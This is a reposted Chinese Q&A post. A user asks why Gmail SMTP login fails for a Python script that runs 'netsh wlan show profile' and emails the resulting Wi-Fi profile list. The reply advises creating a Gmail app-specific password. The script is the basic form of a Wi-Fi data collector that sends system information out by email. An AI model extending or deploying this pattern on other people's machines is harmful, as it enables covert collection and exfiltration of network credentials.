我启用了“不太安全的应用程序”,但仍然出现此错误。密码和登录名正确
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
comand = "netsh wlan show profile"
result = subprocess.check_output(comand, shell=True)
send_mail("my email", "my password", result)
Traceback (most recent call last):
File "d:/asdasd/main.py", line 12, in <module>
send_mail("my email", "my password", result)
File "d:/asdasd/main.py", line 6, in send_mail
server.login(email, password)
File "C:\Python27\lib\smtplib.py", line 623, in login
raise SMTPAuthenticationError(code, resp)
smtplib.SMTPAuthenticationError: (535, '5.7.8 Username and Password not accepted. Learn more at\n5.7.8 https://support.google.com/mail/?p=BadCredentials b3-20020a056512304300b004488e49f2fasm2187075lfb.129 - gsmtp')
您需要在 google 帐户上创建应用程序密码。
只需谷歌“gmail 应用程序特定密码”
BR
本文收集自互联网,转载请注明来源。
如有侵权,请联系 [email protected] 删除。
我来说两句